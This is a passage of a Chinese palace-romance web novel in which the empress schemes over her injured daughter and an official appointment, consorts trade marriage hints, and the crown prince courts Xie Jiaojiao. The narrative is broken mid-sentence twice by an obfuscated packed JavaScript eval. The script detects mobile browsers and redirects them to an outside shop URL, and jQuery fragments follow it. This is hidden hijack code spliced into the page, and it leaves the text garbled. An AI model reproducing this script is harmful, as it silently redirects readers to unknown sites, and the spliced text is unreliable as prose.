皇后亦觉蹊跷,目光缓缓扫过两人,指尖轻捻着绢角。
伸手不打笑脸人。
谢贵妃勾了勾唇角:“姐姐说笑了,膝下两位皇子已经是莫大的福气,如何还能再贪心。”
戚贵妃附和着笑:“妹妹倒是会安慰人……”
请过安,众人很快散了。
皇后攥住手边的如意纹引枕,嵌东珠点翠蓝宝石凤纹的赤金护甲在上面留下凹痕,带笑的脸蓦地冷了下去。
“去瞧瞧云安。”
*
凤仪宫西跨院,静姝轩。
贴身的慧嬷嬷扶着皇后跨过月洞门,身后跟着一众太监宫女,
院子里乱作一团,太监宫女绕着假山攀梯爬树,手忙脚乱的捉猫,远远就听见屋里摔东西的动静。
慧嬷嬷扫了眼众人,高呼:“皇后娘娘到!”
喧杂声忽地断了,连带着寝殿里摔砸的声儿一并消了。
众宫人忙跪地:“参见皇后娘娘,娘娘万福金安!”
双交四椀菱花纹的朱漆扇门被人自里面打开,云安公主顾不上行礼,捂着脸,哭哭啼啼地扑到皇后跟前。
“母后!儿臣、儿臣这脸……”
皇后垂眸看去,云安半边脸都缠了纱布,上面洇着血,隐约可以看见耳侧难以包扎的地方被划出道红肿的血痕。
女儿家,最怜惜的便是皮囊。
云安尚未出阁,也未曾许下人家,若是破了相,朝中勋贵怕是再难攀上。
皇后心下思量着,未曾注意假山上几步跃下一道白影。
雪团儿浑身的雪毛炸开,弓着脊背,喉咙里发出咕噜噜地声音,水蓝色地瞳孔冷冰冰地盯着云安和皇后的方向。
下一瞬,雪团儿亮出利爪,喵了声,露出锋利的尖齿,用力扑上前。
“拦住那个畜生!”慧嬷嬷情急惊叫。
数名宫人形色仓皇地去挡,不料一窝蜂地涌上去,猫没抓住,反倒不慎推撞到了云安。
云安惊呼着直直扑向皇后。
好在慧嬷嬷眼疾手快,稳住了二人。
皇后猝不及防,显然是惊着了,捂着心口,头上珠簪步摇晃个不停。
她对着跪了满地的宫人,愠怒道:“连只猫都拿不住,都是死的不成?!”
“娘娘息怒!”宫人们颤巍不止。
皇后压下心头的火气,见云安还啜泣不休,又平添心烦。
“行了,本宫不是赐了药,慌什么?”
说起这个,云安哭得更伤心:“太医说伤得太重,怕是用了金箔膏也要落下疤……母后,这可如何是好……”
倒不曾想竟伤得这般重。
皇后被她吵得头疼:“你且用着,本宫自会寻名医为你医治。”
左右已寻到了神医踪迹,想必月余便可达京。
想到什么,皇后又斥道:“若不是你平日太纵着那个畜生,又岂会自讨苦吃。”
云安委屈:“雪团往时不过挠些宫人,对儿臣很是亲近……也不曾想它今日……”
皇后不知怎么想起谢贵妃今日的一番话,心下生了疑。
怎会如此巧合,竟叫她说中了。
皇后冷声吩咐:“着人速去将那畜生寻回来。”
要真冲撞了嘉德帝或是太后,连她也要受牵连。
慧嬷嬷正要应,皇后又低声道:“去查查丹仪宫近日可有人被那畜生伤了。”
想她谢妙仪也不会平白说那些话同她发难,其中定有什么缘由。
想起太子,皇后又问:“那日你去东宫,可有发生什么,又可曾碰坏东宫的物件?”
她是听人来报,说似乎是瞧见太子带了名女子进了寝殿,因着太黑又不能明着看,拿不准。
太子素来不近女色,皇后只觉得是宫人看错了,不想太子隔日就封了东宫,这才令她生疑,命云安去查探一番。
云安回来只说一切如常,她也就不曾多问。
“不过是我想进太子哥哥的书房,叫李来宝那奴才拦下了。”云安茫然的摇头,“物件……未曾啊……”
东宫的书房,常人确实进不得。
无甚不妥。
皇后叹了口气,交代了两句便领着宫人走了。
……
众妃嫔一道出了凤仪宫。
戚贵妃跨过朱槛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587436|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,朝着走在前面的谢贵妃道:“妹妹且慢。”
她由宫人扶着,几步便到了谢贵妃跟前。
“姐姐这是……”谢贵妃不知她葫芦里卖的什么药。
戚贵妃浅笑不语,只朝身后招了招手,贴身的宫女赶忙将一早备好的食盒奉上。
“听闻皎皎那日宫宴身子不适,至今歇在妹妹宫里……”
戚贵妃打开食盒,里面是芳姿似卉的雕花点心,瓣瓣玲珑,精巧剔透。
她笑道:“山儿昨儿出宫,给本宫带了好些有趣玩意儿,知道皎皎爱吃点心,又尚未出宫,这不,托本宫捎带一番。”
这是想替五皇子向皎皎求亲?
难怪乐见其成乔家与太子的亲事,近日对她又这般殷勤。
萧北山……
五皇子也是她瞧着长大的,是个实心眼的,儿时对皎皎也很是不错,虽性子莽撞了些,同皎皎倒也相合。
嘉德帝近年大刀阔斧的改革科举,重寒门,疏世族。
她谢家是武勋之首,如今战事平息,边疆稳固,日后被收回兵权,没落怕也是迟早的事。
而戚家寒门出身,又是由嘉德帝亲手提拔到如今的地位,深得圣心。
只要戚贵妃的两位皇子没有争储的心思,两家联姻反倒能显示出谢家投靠皇帝的诚意。
待日后五皇子日后得了封地,皎皎嫁去也是衣食无忧。
如此看,若是求稳求安,同五皇子结亲,倒是不失为门好亲事。
只是……
太后和兄长,一心想皎皎入主东宫保住谢家的荣宠,皎皎自己也对太子……
谢贵妃心里思绪万千,当着戚贵妃的面却不好表露。
好在这戚贵妃也是个知分寸的,没送什么金银首饰,一盒吃食,无伤大雅。
“五皇子仁厚,儿时情分竟记到今日……”谢贵妃弯唇,没推拒,“既如此,本宫就替皎皎收下了。”
身后宫女机灵的接了食盒。
示好求亲之意,被她说成儿时情分,真是三两拨千金。
总归收下了就是还有转圜的余地。
戚贵妃便也笑:“谁说不是,山儿这孩子,随他舅舅,最是重情重义。”
……
谢皎皎一早就去了长寿宫请安。
她自小养在太后宫里,亲厚自不用说,太后待她如珍似宝,反倒对嘉德帝那一众皇子公主态度平平。
“快来叫哀家瞧瞧!”
太后将她招来身前,细细打量了一番,点点她的额头嗔怪道:“你姨母说你在席上吃醉了酒,醒了又身子不爽快,可叫哀家担心。”
谢皎皎心虚,当即出拳踢腿,露了两招三脚猫功夫,笑眯眯道:“姑祖母,我都好全了!”
太后被她哄得开怀,笑骂了句泼猴儿,随后唤人传膳。
谢皎皎的喜好宫人们都甚是熟悉,不用吩咐就上了满桌她爱吃的。
受了伤,姨母不允她食油腻,丹仪宫的吃食清淡得同尼姑庵如出一辙,她瞧见红艳欲滴樱桃渍的糖水,更是眼前一亮。
“樱桃渍酥烙!”
太后身边的老人儿,顾嬷嬷笑道:“娘娘那日罚了姑娘的糖蒸酥烙,怕姑娘今日来哭呢!一早命人准备了……”
幼时谢皎皎同公主皇子们一道习字,就她坐不住,写得字也歪歪扭扭。
被太傅打完掌心还能兴高采烈的去爬树,唯见其他人得了酥烙,只她没有时,哇的哭了。
太后原还被她哭得心碎,得知缘由又哭笑不得。
自此总爱拿这事打趣她。
谢皎皎羞恼:“曾祖母!我如今都快及笄了!可再不会为一碗酥烙哭了!”
太后被她逗得发笑,顺着她:“是是是!哀家的心肝儿长成大姑娘了!”
祖孙俩笑谈间,宫人高声传报。
“太子殿下到!”
10. 脸这般红
谢皎皎握着纯银鎏金镶宝石的筷箸一顿,身后传来萧北瀛请安的声音。
“儿臣见过皇祖母,皇祖母圣安。”
太子拱手,腰微弯着,一袭玄色阔袖云蟒暗纹锦袍,金冠玉带,衬得身姿板正,又历经沙场,眉宇间透着股凌厉。
除去几次宫宴,太后也许久未曾见过自己这个幼时便翘楚卓荦的嫡孙了。
她细瞧着,眼里闪过满意,颔首令他起身,淡淡道:
“太子今日怎的有空来瞧哀家这把老骨头?”
嘉德帝并非太后所生,因生母早逝,同太后亲子凌王一同养在太后膝下。
凌王逝后,只剩母子二人相依为命。
为推嘉德帝顺利继位,太后携整个母家鼎力支持,嘉德帝亦视太后为亲母,孝顺有加。
母子间感情甚笃,太后待众皇孙也算亲和,但素来最疼爱还是大皇子和太子。
大皇子是凌王嫡子,襁褓时就过继在嘉德帝名下,是太后的亲嫡孙,太后宠爱无可厚非。
而太子,打小聪慧过人,深得嘉德帝看重,又是未来储君,太后爱屋及乌,也很是疼爱。
只是因着皇后,太子同她并不亲厚,日子久了,祖孙的情分便淡了。
往日按礼制,逢初一十五,帝后妃嫔皇子等都是要来长寿宫问安的。
只是太后前些日子病了场,太医嘱咐要静心将养,便下口谕将此事免了。
倒是不曾想太子今日会主动来她宫里。
萧北瀛不卑不亢:“儿臣远在边疆,久未在皇祖母膝下尽孝,此番回朝,自是要来同皇祖母问安。”
太子来瞧她,太后心里自是高兴的,只是面上不显:“太子有心了。”
萧北瀛称应当的,又问了太后的病。
待祖孙二人寒暄过后,谢皎皎才给萧北瀛行福礼。
她睫毛略垂,强掩住眸中喜色,声音却带了几分不自觉的雀跃。
“臣女请殿下金安!”
谢皎皎自幼性子明快,喜欢什么从不掩饰,也执拗,轻易难改。
单一碗酥烙就能喜欢十多年。
更遑论人……
萧北瀛温声叫她免礼。
太后不动声色的端看着两人,郎似松柏挺拔清隽,女若洛花国色天香,比肩而站浑似一双璧人,竟是说不出的登对。
她心中甚是满意,又不免忧愁落花有意,流水无情。
见小丫头目光灼灼的盯着太子,太后心下无奈,对着萧北瀛道:
“太子还未用膳吧,坐下一道用些。”
谢皎皎登时偏过头,鸦羽般地睫毛用力冲他眨了眨。
杏眸湿漉漉的,盛着清浅的笑,瞳孔里满满当当映着他。
萧北瀛忍不住勾唇,只觉心肠都叫她看软了。
自是心甘情愿应下。
太后面上这才有了几分笑意,宫人有眼色的添上碗筷。
谢皎皎也弯了眼,恐人发觉,又忙垂下头,香腮处的梨涡若隐若现。
萧北瀛心下好笑,面不改色的落座在她身侧。
宽大的衣袖在桌下交叠,他堂而皇之地捉住她的手。
谢皎皎不设防,惊得险些摔了金箸。
她忍不住绷直了身子,两颊隐隐浮出红云,耳尖慢慢浸红了。
萧北瀛似笑非笑的看着她,明知故问:“谢三姑娘这是怎么了?脸这般红。”
谢皎皎:“……!!”
太后闻言瞧了过来,谢皎皎如坐针毡,硬着头皮心虚道:“有、有些热……”
好在太后未曾起疑,只唤来人打扇。
无人注意的时候,谢皎皎羞恼的瞪了萧北瀛一眼。
萧北瀛瞧她可爱得紧,怕人真恼了,到底将她放了。
谢皎皎松了口气,后背燥出了一层薄汗,面上也绯色难消,心里却有种隐秘的甜蜜。
像儿时背着嬷嬷宫女们,偷爬上树摘果子。
不想竟摘到了最甜的那颗。
用过膳,两人一道出了长寿宫。
李来宝和春芽不远不近地跟着,并不打扰两位主子。
“贵妃可曾又苛责于你?”
谢皎皎摇头,笑盈盈地得意道:“我姨母才不舍得!”
萧北瀛放下心。
谢皎皎反倒想起什么,问:“太子哥哥那日同我姨母说的话究竟是何意,我为何听不明白?”
萧北瀛停下,垂眸看她:“贵妃未曾同你说?”
“姨母只说日后我自会知晓……”
萧北瀛闻言,缓缓道:“皎皎听贵妃的便是。”
皇后一心想乔家女入东宫,若他此刻请旨求娶皎皎,就是给谢家招祸,难保皇后和乔家不会使绊子……
一个两个都把她蒙在鼓里。
谢皎皎不服,双手叉腰,挡在萧北瀛身前:“可我现在就想知道!”
萧北瀛俯下身,低笑道:“皎皎这是要同孤耍赖?”
谢皎皎心脏砰砰直跳,眼神飘了下,强作镇定:“……是又如何!”
他挑眉,故意道:“孤不吃这套。”
话落——
谢皎皎双手合十,眼睛水汪汪的:“那求求你了太子哥哥……”
被那漾着春水的眼眸望着,耳边是她甜腻腻声音。
萧北瀛微怔,险些把持不住。
谢皎皎忍住笑,目光更为诚恳:“这套如何?”
他无奈捏了捏她软糯滑嫩的脸颊,一本正经的颔首:“这套不错。”
自诩脸皮不薄的谢皎皎冷不丁又热了脸。
分明是她先逗的太子哥哥,怎么……反被调戏了。
她目光躲闪了下:“那、那太子哥哥快些说吧!”
萧北瀛余光瞥见她丝绦上系着的套针绣金丝芙蓉纹荷包,顿了下,笑道:
“待皎皎绣完一只这样的荷包,孤就告诉你,如何?”
她虽女工不精,但不过是绣个荷包,多加练习也未必不可!
谢皎皎爽快地伸出小指,她笑眯眯道:“拉钩,骗人是小狗!”
眼前的面容恍惚间变成了粉雕玉琢的小人儿,那时他每日要在御书房习字读书。
她隔三差五的进宫,趁宫人不在敲他的窗户,净送些稀奇古怪的东西,或是宫外好吃的吃食,或是她编的小兽,或是漂亮的宝石……
想起她好似每回都是叽叽喳喳的来,然后叽里咕噜说完一通后,缠着同他拉钩,自顾自保证下回给他带更好玩儿的东西。
真是……
谁教得她这般较真。
……这般情深。
萧北瀛眸色深了深,认真地勾上她的指尖,低声道:“好……”
“骗人就是小狗。”
谢皎皎同他印了拇指,抬眸间一时不慎,陷进他沉静溺人的目光,失了神。
萧北瀛亦是喉口一紧。
“三弟!”
不远处,萧北祺由内侍推着。
谢皎皎蓦地清醒,匆忙解开两人勾连着的手。
萧北瀛几不可见的蹙了下眉,他拈了拈指上残留的温度,眼里闪过一丝烦躁。
“谢三姑娘也在?”
萧北祺被推近,唇边噙着笑,打量着二人眼里意味不明。
谢皎皎知晓他们兄弟二人亲厚,忙恭敬地福了福身:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591178|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
见过二皇子,二皇子金安。”
萧北祺摆手:“谢三姑娘免礼。”
他转而对着萧北瀛:“三弟这是去了长寿宫?”
“许久未向皇祖母请安,理应来看望。”
萧北瀛转而问:“皇兄为何在此?”
他的锦安宫和皇后的凤仪宫都与此处相背。
萧北祺轻笑:“正要去东宫寻你,不料在此处碰上了。”
“母后备了膳,着我唤你同去。”
此时要见他,无非是为了户部侍郎的事。
今日早朝,嘉德帝已着人去拟人选,皇后这是坐不住了。
萧北瀛心知肚明,未曾推拒。
谢皎皎主动躬身道:“恐扰了殿下们的要事,臣女便先行告退了。”
萧北祺在,萧北瀛便只颔了颔首。
待她离去,兄弟二人不紧不慢地往凤仪宫走。
皇后已等候多时。
见人来了,她脸上浮起笑意,忙吩咐宫人布膳。
萧北瀛在长寿宫用过了,并无胃口。
皇后惦记着正事,很快也搁了金箸,试探道:“听闻户部侍郎何丰告了丁忧?”
萧北瀛说是。
“你瞧乔任重乔大人的胞弟,乔任清如何?”
皇后同他细细分析:“这乔任清现下任太常少卿,虽是四品,也在这位子上做了三年,资历是够的,破格提一提未尝不可……”
“等你同乔家结了亲,便是多个自己人,多个助力。”
“眼下你推举乔家人,也是卖你未来岳丈几分薄面,一举两得……太子以为如何?”
皇后的话同前世如出一辙。
乔任清虽是凭本事考中的科举,却是个平庸泛泛之辈,一路右迁,乔任重没少给他铺路打点。
听闻他同乔任重差了十岁,是由乔任重一手拉扯大的,兄弟二人感情不一般。
可惜乔任重是个谨小慎微的老狐狸,这乔任清却是个鼠目寸光的蠢材。
得知乔家系稳在东宫便开始得意忘形,收底下人的供奉就罢了,还在升任户部侍郎后经人挑拨,胆大包天动起了赈灾银的心思。
原本他不过是想抽取三成,未曾想底下人也跟着一层层搜刮油水,最后百姓不堪重负,暴怒引出了民变。
乔任重为保他,命人暗中散播此事是授了他的意,叫他尽失民心,险些被废了太子之位……
前世种种,历历在目。
萧北瀛心中一片冰冷,面上却不显,淡笑着道:“既如此,便依母后之言。”
本还忧心太子同她生了嫌隙,要再费番口舌,不想他这就应下了。
皇后同萧北祺对视一眼,唇边笑意更甚,替他夹了块芙蓉酥:“今日是咸口的,本宫都记着……尝尝味道如何?”
萧北瀛淡声道:“多谢母后,只是儿臣今日在太后宫里已用过膳,眼下实在是用不下了。”
皇后动作顿了下,面上闪过讪意。
“既如此,便罢了。”
萧北瀛起身告辞:“东宫庶务繁多,儿臣就先回了,改日再来探望母后。”
他如此说,皇后也不好强留。
了了桩心事,皇后连日积郁的心都畅快起来。
见萧北祺望着太子的背影失神,不由得问:“皇儿这是怎么了?”
萧北祺收回视线,蹙眉:“似乎有些不对……”
皇后笑:“哪里不对,今日本宫就宣乔家妇进宫,得赶紧把消息传了才是!”
萧北祺盯着那块芙蓉酥,又忽的想起今日碰见萧北瀛和谢皎皎的事,心下生了疑。
“……三弟,有些不对。”